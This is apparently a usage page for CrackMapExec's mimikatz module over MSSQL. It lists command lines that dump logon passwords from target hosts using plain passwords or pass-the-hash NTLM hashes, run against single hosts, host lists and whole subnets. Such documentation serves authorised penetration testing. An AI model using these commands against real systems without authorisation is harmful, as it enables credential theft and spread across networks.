Module Options
As you can see below, the mimikatz module has one option:
# cme mssql -M mimikatz --options
[*] mimikatz module options:
COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords')
Note that this option is not required. If you want to change the default value, you can do so by appending -o COMMAND=VALUE parameter to the command line.
Module Usage
This is how to use the mimikatz module while using the mssql protocol:
Syntax:
# cme mssql <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M mimikatz
Admin user:
# cme mssql 10.0.5.1 -u sa -p P@ss123 -d . -M mimikatz
# cme mssql 10.0.5.1 -u sa -p P@ss123 --local-auth -M mimikatz
Normal user:
# cme mssql 10.0.5.1 -u dbuser -p P@ss123 -d target.corp -M mimikatz
CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:
# cme mssql 10.0.5.1 -u sa -H 432b022dc22aa5afe884e986b8383ff2 -d . -M mimikatz
# cme mssql 10.0.5.1 -u dbuser -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M mimikatz
The mimikatz module can be also used against multiple hosts. Here's how to run it against multiple hosts:# cme mssql target_list.txt -u sa -p P@ss123 -d . -M mimikatz
# cme mssql 10.0.5.0/24 -u sa -p P@ss123 -d . -M mimikatz
# cme mssql 10.0.5.1-100 -u sa -p P@ss123 -d . -M mimikatz
